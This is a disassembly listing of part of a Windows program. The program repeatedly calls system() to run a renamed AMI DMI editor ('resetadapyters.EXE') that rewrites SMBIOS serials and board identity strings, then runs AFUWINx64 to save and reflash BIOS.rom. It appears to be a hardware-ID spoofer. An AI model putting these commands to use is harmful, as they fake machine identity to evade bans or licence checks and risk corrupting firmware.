jmp 0x14003be5e
cmp rcx, 0x1000
jb 0x14003be56
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400474df
mov rcx, rax
call fcn.1400b49bc
test rax, rax
je 0x14003cd04
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14003be5e
call fcn.1400b49bc
mov r14, rax
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], rbx
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__SK]
movups xmmword [r14], xmm0
movups xmm1, xmmword [0x1400cee60]
movups xmmword [r14 + 0x10], xmm1
movzx eax, word [0x1400cee70]
mov word [r14 + 0x20], ax
lea rcx, [r14 + 0x22]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r15], 0
mov rcx, qword [rbp - 0x28]
mov rdx, qword [rbp - 0x20]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14003beec
lea rax, [rcx + 5]
mov qword [rbp - 0x28], rax
lea rbx, [rbp - 0x38]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x38]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rbp - 0x38]
jmp 0x14003bf10
mov qword [rsp + 0x20], 5
lea r9, str.__nul
movzx r8d, byte [rsp + 0x40]
mov edx, 5
lea rcx, [rbp - 0x38]
call fcn.14004c830
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf8], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
lea rcx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova rcx, qword [rbp + 0xe8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x100]
cmp rdx, 0xf
jbe 0x14003bfa6
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bfa1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003bfa1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b4690
movdqu xmmword [rbp + 0xf8], xmm10
mov byte [rbp + 0xe8], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14003bff1
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bfec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cd04
call fcn.1400b4690
movdqu xmmword [rbp - 0x28], xmm10
mov byte [rbp - 0x38], 0
mov r13, qword [rbp + 0x38e0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x22
jb 0x1400474d9
lea r12, [rbp + 0x38d0]
cmp qword [rbp + 0x38e8], 0xf
cmova r12, qword [rbp + 0x38d0]
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
lea r15, [r13 + 0x22]
mov rbx, rsi
lea r14, [rbp - 0x18]
cmp r15, rbx
jbe 0x14003c0cd
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x14003c071
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14003c0a2
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14003c08c
mov r14, rdi
jmp 0x14003c0c9
cmp rcx, 0x1000
jb 0x14003c0c1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400474df
mov rcx, rax
call fcn.1400b49bc
test rax, rax
je 0x14003cd04
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14003c0c9
call fcn.1400b49bc
mov r14, rax
mov qword [rbp - 0x18], r14
mov qword [rbp - 8], r15
mov qword [rbp], rbx
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__SF]
movups xmmword [r14], xmm0
movups xmm1, xmmword [0x1400cee88]
movups xmmword [r14 + 0x10], xmm1
movzx eax, word [0x1400cee98]
mov word [r14 + 0x20], ax
lea rcx, [r14 + 0x22]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r15], 0
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14003c157
lea rax, [rcx + 5]
mov qword [rbp - 8], rax
lea rbx, [rbp - 0x18]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x18]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rbp - 0x18]
jmp 0x14003c17b
mov qword [rsp + 0x20], 5
lea r9, str.__nul
movzx r8d, byte [rsp + 0x40]
mov edx, 5
lea rcx, [rbp - 0x18]
call fcn.14004c830
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x118], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x108], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x118], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
lea rcx, [rbp + 0x108]
cmp qword [rbp + 0x120], 0xf
cmova rcx, qword [rbp + 0x108]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x120]
cmp rdx, 0xf
jbe 0x14003c211
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c20c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003c20c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b4690
movdqu xmmword [rbp + 0x118], xmm10
mov byte [rbp + 0x108], 0
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x14003c25c
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c257
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cd04
call fcn.1400b4690
movdqu xmmword [rbp - 8], xmm10
mov byte [rbp - 0x18], 0
mov r13, qword [rbp + 0x3900]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x22
jb 0x1400474d9
lea r12, [rbp + 0x38f0]
cmp qword [rbp + 0x3908], 0xf
cmova r12, qword [rbp + 0x38f0]
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
lea r15, [r13 + 0x22]
mov rbx, rsi
lea r14, [rbp + 8]
cmp r15, rbx
jbe 0x14003c338
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x14003c2dc
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14003c30d
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14003c2f7
mov r14, rdi
jmp 0x14003c334
cmp rcx, 0x1000
jb 0x14003c32c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400474df
mov rcx, rax
call fcn.1400b49bc
test rax, rax
je 0x14003cd04
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14003c334
call fcn.1400b49bc
mov r14, rax
mov qword [rbp + 8], r14
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x20], rbx
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__BT]
movups xmmword [r14], xmm0
movups xmm1, xmmword [0x1400ceeb0]
movups xmmword [r14 + 0x10], xmm1
movzx eax, word [0x1400ceec0]
mov word [r14 + 0x20], ax
lea rcx, [r14 + 0x22]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r15], 0
mov rcx, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x20]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14003c3c2
lea rax, [rcx + 5]
mov qword [rbp + 0x18], rax
lea rbx, [rbp + 8]
cmp rdx, 0xf
cmova rbx, qword [rbp + 8]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rbp + 8]
jmp 0x14003c3e6
mov qword [rsp + 0x20], 5
lea r9, str.__nul
movzx r8d, byte [rsp + 0x40]
mov edx, 5
lea rcx, [rbp + 8]
call fcn.14004c830
xorps xmm0, xmm0
movups xmmword [rbp + 0x128], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x138], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x128], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x138], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
lea rcx, [rbp + 0x128]
cmp qword [rbp + 0x140], 0xf
cmova rcx, qword [rbp + 0x128]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x140]
cmp rdx, 0xf
jbe 0x14003c47c
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c477
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003c477
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b4690
movdqu xmmword [rbp + 0x138], xmm10
mov byte [rbp + 0x128], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x14003c4c7
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c4c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cd04
call fcn.1400b4690
movdqu xmmword [rbp + 0x18], xmm10
mov byte [rbp + 8], 0
mov r13, qword [rbp + 0x3940]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x23
jb 0x1400474d9
lea r12, [rbp + 0x3930]
cmp qword [rbp + 0x3948], 0xf
cmova r12, qword [rbp + 0x3930]
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x38], xmm1
lea r15, [r13 + 0x23]
mov r14, rsi
lea rbx, [rbp + 0x28]
cmp r15, rsi
jbe 0x14003c5a3
mov r14, r15
or r14, 0xf
cmp r14, rcx
jbe 0x14003c547
mov r14, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14003c578
cmp r14, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb r14, rax
lea rcx, [r14 + 1]
test rcx, rcx
jne 0x14003c562
mov rbx, rdi
jmp 0x14003c59f
cmp rcx, 0x1000
jb 0x14003c597
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400474df
mov rcx, rax
call fcn.1400b49bc
test rax, rax
je 0x14003cd04
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14003c59f
call fcn.1400b49bc
mov rbx, rax
mov qword [rbp + 0x28], rbx
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x40], r14
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__BLC]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x1400ceed8]
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [0x1400ceee8]
mov word [rbx + 0x20], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + 0x22], al
lea rcx, [rbx + 0x23]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r15], 0
mov rcx, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x40]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14003c634
lea rax, [rcx + 5]
mov qword [rbp + 0x38], rax
lea rbx, [rbp + 0x28]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x28]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rbp + 0x28]
jmp 0x14003c658
mov qword [rsp + 0x20], 5
lea r9, str.__nul
movzx r8d, byte [rsp + 0x40]
mov edx, 5
lea rcx, [rbp + 0x28]
call fcn.14004c830
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x158], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x148], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x158], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
lea rcx, [rbp + 0x148]
cmp qword [rbp + 0x160], 0xf
cmova rcx, qword [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x160]
cmp rdx, 0xf
jbe 0x14003c6ee
inc rdx
mov rcx, qword [rbp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c6e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003c6e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b4690
movdqu xmmword [rbp + 0x158], xmm10
mov byte [rbp + 0x148], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x14003c739
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c734
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cd04
call fcn.1400b4690
movdqu xmmword [rbp + 0x38], xmm10
mov byte [rbp + 0x28], 0
lea rcx, str.C:Windows_resetadapyters.EXE__PSN__To_Be_Filled_By_O.E.M.___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.EXE__PSN__To_Be_Filled_By_O.E.M._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r13, qword [rbp + 0x3920]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x23
jb 0x1400474d9
lea r12, [rbp + 0x3910]
cmp qword [rbp + 0x3928], 0xf
cmova r12, qword [rbp + 0x3910]
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x58], xmm1
lea r15, [r13 + 0x23]
mov r14, rsi
lea rbx, [rbp + 0x48]
cmp r15, rsi
jbe 0x14003c82f
mov r14, r15
or r14, 0xf
cmp r14, rcx
jbe 0x14003c7d3
mov r14, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14003c804
cmp r14, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb r14, rax
lea rcx, [r14 + 1]
test rcx, rcx
jne 0x14003c7ee
mov rbx, rdi
jmp 0x14003c82b
cmp rcx, 0x1000
jb 0x14003c823
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400474df
mov rcx, rax
call fcn.1400b49bc
test rax, rax
je 0x14003cd04
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14003c82b
call fcn.1400b49bc
mov rbx, rax
mov qword [rbp + 0x48], rbx
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x60], r14
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__PAT]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x1400cef78]
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [0x1400cef88]
mov word [rbx + 0x20], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + 0x22], al
lea rcx, [rbx + 0x23]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r15], 0
mov rcx, qword [rbp + 0x58]
mov rdx, qword [rbp + 0x60]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14003c8c0
lea rax, [rcx + 5]
mov qword [rbp + 0x58], rax
lea rbx, [rbp + 0x48]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x48]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rbp + 0x48]
jmp 0x14003c8e4
mov qword [rsp + 0x20], 5
lea r9, str.__nul
movzx r8d, byte [rsp + 0x40]
mov edx, 5
lea rcx, [rbp + 0x48]
call fcn.14004c830
xorps xmm0, xmm0
movups xmmword [rbp + 0x168], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x178], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x168], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x178], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
lea rcx, [rbp + 0x168]
cmp qword [rbp + 0x180], 0xf
cmova rcx, qword [rbp + 0x168]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x180]
cmp rdx, 0xf
jbe 0x14003c97a
inc rdx
mov rcx, qword [rbp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c975
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003c975
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b4690
movdqu xmmword [rbp + 0x178], xmm10
mov byte [rbp + 0x168], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x14003c9c5
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c9c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cd04
call fcn.1400b4690
movdqu xmmword [rbp + 0x58], xmm10
mov byte [rbp + 0x48], 0
mov r13, qword [rbp + 0x3820]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x23
jb 0x1400474d9
lea r12, [rbp + 0x3810]
cmp qword [rbp + 0x3828], 0xf
cmova r12, qword [rbp + 0x3810]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
lea r15, [r13 + 0x23]
mov r14, rsi
lea rbx, [rsp + 0x48]
cmp r15, rsi
jbe 0x14003caa5
mov r14, r15
or r14, 0xf
cmp r14, rcx
jbe 0x14003ca48
mov r14, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14003ca79
cmp r14, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb r14, rax
lea rcx, [r14 + 1]
test rcx, rcx
jne 0x14003ca63
mov rbx, rdi
jmp 0x14003caa0
cmp rcx, 0x1000
jb 0x14003ca98
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400474df
mov rcx, rax
call fcn.1400b49bc
test rax, rax
je 0x14003cd04
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14003caa0
call fcn.1400b49bc
mov rbx, rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], r14
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__PPN]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x1400cefa0]
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [0x1400cefb0]
mov word [rbx + 0x20], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + 0x22], al
lea rcx, [rbx + 0x23]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r15], 0
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14003cb3e
lea rax, [rcx + 5]
mov qword [rsp + 0x58], rax
lea rbx, [rsp + 0x48]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x48]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rsp + 0x48]
jmp 0x14003cb63
mov qword [rsp + 0x20], 5
lea r9, str.__nul
movzx r8d, byte [rsp + 0x40]
mov edx, 5
lea rcx, [rsp + 0x48]
call fcn.14004c830
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova rcx, qword [rbp + 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x14003cbe4
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003cbdf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003cbdf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b4690
movdqu xmmword [rbp + 0x78], xmm10
mov byte [rbp + 0x68], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14003cc2b
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003cc26
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cd04
call fcn.1400b4690
movdqu xmmword [rsp + 0x58], xmm10
mov byte [rsp + 0x48], 0
mov r15, qword [rbp + 0x3840]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x23
jb 0x1400474d9
lea r12, [rbp + 0x3830]
cmp qword [rbp + 0x3848], 0xf
cmova r12, qword [rbp + 0x3830]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1d8], xmm1
lea r14, [r15 + 0x23]
lea rbx, [rbp + 0x1c8]
cmp r14, 0xf
jbe 0x14003cd1a
mov rsi, r14
or rsi, 0xf
cmp rsi, rcx
jbe 0x14003ccd1
mov rsi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400b49bc
test rax, rax
je 0x14003cd04
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14003cd13
cmp rsi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x14003ccec
mov rbx, rdi
jmp 0x14003cd13
cmp rcx, 0x1000
jb 0x14003cd0b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400474df
jmp 0x14003ccb6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b49bc
mov rbx, rax
mov qword [rbp + 0x1c8], rbx
mov qword [rbp + 0x1d8], r14
mov qword [rbp + 0x1e0], rsi
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__CSK]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x1400cee10]
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [0x1400cee20]
mov word [rbx + 0x20], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + 0x22], al
lea rcx, [rbx + 0x23]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
lea r8, str.__nul
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x26a0]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x26a0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x1c8]
call fcn.14004b800
lea r8, [rbp + 0x3950]
lea rdx, str.C:Windows_resetadapyters.EXE__CS
lea rcx, [rbp + 0x26e0]
call fcn.14004c230
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x26c0]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x26c0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x26e0]
call fcn.14004b800
lea r8, [rbp + 0x3970]
lea rdx, str.C:Windows_resetadapyters.EXE__BS
lea rcx, [rbp + 0x2700]
call fcn.14004c230
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x22c0]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x22c0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2700]
call fcn.14004b800
lea rcx, str.C:Windows_resetadapyters.EXE__SV__1.0_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__SP__MS_7D22_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__SM__Micro_Star_International_Co.__Ltd._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__BM__Micro_Star_International_Co.__Ltd._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__BP__H510M_A_PRO__MS_7D22__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__BV__1.0_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__CV__1.0_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__CM__Micro_Star_International_Co.__Ltd._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__CA__Default_string_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__CO__0000_0000h_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__CT__03h_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__IV__3.80_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__IVN__American_Megatrends_International__LLC._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32AFUWINx64.exe_BIOS.rom__o
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32AFUWINx64.exe_BIOS.rom__GAN
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32AFUWINx64.exe_BIOS.rom__o
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
